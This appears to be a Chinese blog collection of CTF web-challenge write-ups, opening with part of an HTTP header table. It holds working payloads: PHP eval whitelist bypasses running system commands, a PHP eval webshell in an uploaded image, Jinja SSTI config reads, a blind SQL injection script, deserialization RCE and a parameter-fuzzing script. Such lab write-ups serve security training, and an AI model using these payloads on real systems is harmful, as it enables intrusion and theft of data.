Referer
先前网页的地址,当前请求网页紧随其后,即来路
Referer: http://www.zcmhi.com/archives…
TE
客户端愿意接受的传输编码,并通知服务器接受接受尾加头信息
TE: trailers,deflate;q=0.5
Upgrade
向服务器指定某种传输协议以便服务器进行转换(如果支持)
Upgrade: HTTP/2.0, SHTTP/1.3, IRC/6.9, RTA/x11
User-Agent
User-Agent的内容包含发出请求的用户信息
User-Agent: Mozilla/5.0 (Linux; X11)
Via
通知中间网关或代理服务器地址,通信协议
Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)
Warning
关于消息实体的警告信息
Warn: 199 Miscellaneous warning
[CISCN 2019 初赛]Love Math 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting(0 ); if (!isset ($_GET['c' ])){ show_source(__FILE__ ); }else { $content = $_GET['c' ]; if (strlen($content) >= 80 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m' , $content)) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content, $used_funcs); foreach ($used_funcs[0 ] as $func) { if (!in_array($func, $whitelist)) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content.';' ); }
payload1:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20/flag
1 2 3 4 base_convert(37907361743 ,10 ,36 ) => "hex2bin" dechex(1598506324 ) => "5f474554" $pi =hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串($ $ pi ){pi }(($ $ pi ){abs }) => ($ _GET){pi }($ _GET){abs }
payload2:
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
1 2 3 base_convert(696468 ,10 ,36 ) => "exec" $pi(8768397090111664438 ,10 ,30 ) => "getallheaders" exec(getallheaders(){1 })
payload3:
通过白名单和数字异或出 _GET或_POST
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php $list = ['_G' ,'ET' ]; $payload = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; for ($t=0 ;$t<sizeof($list);$t++){ for ($k=0 ;$k<sizeof($payload);$k++){ for ($i = 0 ;$i < 9 ; $i++){ for ($j = 0 ;$j <=9 ;$j++){ $exp = $payload[$k] ^ $i.$j; if ($exp == $list[$t]) { echo ($payload[$k]."^$i$j" ."==>$exp" ); echo "\n" ; } } } } }
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag
[GXYCTF2019]BabyUpload .hatcess
SetHandler application/x-httpd-php
图片马
<script language="php">eval($_POST['a']);</script>
Nginx 可以利用 .user.ini
自动包含文件
auto_prepend_file=xx.jpg
[WesternCTF2018]shrine 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import flaskimport osapp = flask.Flask(__name__) app.config['FLAG' ] = os.environ.pop('FLAG' ) @app.route('/') def index () : return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine (shrine) : def safe_jinja (s) : s = s.replace('(' , '' ).replace(')' , '' ) blacklist = ['config' , 'self' ] return '' .join(['{{% set {}=None%}}' .format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__' : app.run(debug=True )
禁用 ()
RCE无缘
内置函数,比如url_for
和get_flashed_messages
读取配置文件
1 2 3 4 /shrine/ {{url_for.__globals__['current_app' ].config}}// 把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)/shrine/ {{get_flashed_messages.__globals__['current_app' ].config}}
[BJDCTF2020]Cookie is so stable 又是一道SSTI
抓包发现 user存在SSTI注入,参考k0rz3n师傅的文章
[BJDCTF 2nd]简单注入 扫一下目录,发现了robots.txt,直接访问hint.txt
得到 select * from users where username='$_POST["username"]' and password='$_POST["password"]';
禁用了一下关键字
这里 username
传入 \
就会把 '
转义破坏语句结构
username=\&password=or/**/1>0#
1 select * from users where username='\' and password =' or/**/1>0#'
1>0 返回 BJD needs to be stronger
1<0 返回 You konw ,P3rh4ps needs a girl friend
然后写盲注脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsurl = "http://70c88c86-504f-479c-be1d-0324c8bcbb17.node3.buuoj.cn/index.php" data = {"username" :"\\" ,"password" :"" } result = "" i = 0 while (True ): i = i + 1 head = 32 tail = 127 while (head < tail): mid = (head + tail) >> 1 payload = "or if(ascii(substr(username,{},1))>{},1,0)#" .format(i, mid) payload = "or if(ascii(substr(password,{},1))>{},1,0)#" .format(i, mid) data['password' ] = payload r = requests.post(url,data=data) if "stronger" in r.text: head = mid + 1 else : tail = mid last = result if head != 32 : result += chr(head) else : break print(result)
[2019]easy_serialize_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $function = @$_GET['f' ]; function filter ($img) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode('|' ,$filter_arr).'/i' ; return preg_replace($filter,'' ,$img); } if ($_SESSION){ unset ($_SESSION); } $_SESSION["user" ] = 'guest' ; $_SESSION['function' ] = $function; extract($_POST); if (!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; } if (!$_GET['img_path' ]){ $_SESSION['img' ] = base64_encode('guest_img.png' ); }else { $_SESSION['img' ] = sha1(base64_encode($_GET['img_path' ])); } $serialize_info = filter(serialize($_SESSION)); if ($function == 'highlight_file' ){ highlight_file('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img' ])); }
extract($_POST);
导致变量覆盖
1 2 3 4 5 6 <?php $a = array ("size" =>"2" ,"color" =>"blue" ); var_dump($a); extract(array ("a" =>array ("year" ,"2020" ))); var_dump($a);
所以$_SESSION
是可控的,通过filter()
改变序列化字符串,从而可控img
的值
payload1:值逃逸
,这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对
payload2:键逃逸
,这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php function filter ($img) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode('|' ,$filter_arr).'/i' ; return preg_replace($filter,'' ,$img); } $_SESSION["user" ] = 'guest' ; $_SESSION['function' ] = "show_image" ; $b=array ("_SESSION" =>array ("user" =>"flagflagflagflagflagflag" ,"function" =>'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}' )); extract($b); $_SESSION['img' ] = base64_encode('guest_img.png' ); var_dump(serialize($_SESSION)); $serialize_info = filter(serialize($_SESSION)); var_dump($serialize_info); $userinfo = unserialize($serialize_info); var_dump($userinfo);
接着读flag就行
[网鼎杯 2020 朱雀组]phpweb 抓包后,读源码
过滤很多,但有个反序列化函数没被禁用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php function gettime ($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string" ) { return $result; } else {return "" ;} } class Test { var $p = "ls" ; var $func = "system" ; function __destruct () { if ($this ->func != "" ) { echo gettime($this ->func, $this ->p); } } } $a = new Test(); echo serialize($a);?>
命名空间绕过黑名单
1 func=\system&p=cat $(find / -name flag * )
[强网杯 2019]高明的黑客 写脚本爆破GET和POST参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 import requests import re import os import urllib import Queue import threading payload = 'echo "hello_qwb_qwb";' url = 'http://127.0.0.1/src/' def fuzz(filename): file = open("./src/" + filename, "r" ) # print "[*]open:" + filename text = file.read() getpattern = re.compile(r'\$_GET\[\' (.*)\'\]' ) get = getpattern.findall(text) postpattern = re.compile(r'\$_POST\[\' (.*)\'\]' ) post = postpattern.findall(text) file_url = url + filename for g in get: r = requests.get (file_url + "?" + g + "=" + urllib.quote(payload)) if "hello_qwb_qwb" in r.text: print ("[+]file:" + filename) print ("[+]get:" + g) exit() for p in post: data = {p: payload} r = requests.post(file_url, data =data) if "hello_qwb_qwb" in r.text: print ("[+]flie:" + filename) print ("[+]post:" + p) exit() print ("[*]finish:" + filename) file.close() class TextThread(threading.Thread): def __init__(self, queue): threading.Thread.__init__(self) self.__queue = queue def run (self): global text queue = self.__queue while not queue.empty(): filename = queue.get () fuzz(filename) def main(): queue = Queue.Queue() for filename in os.listdir('./src' ): queue.put(filename) thread_count = 8 threads = [] for i in range(0, thread_count): thread = TextThread(queue) thread.start() threads.append(thread) for thread in threads: thread.join() if __name__ == '__main__' : main()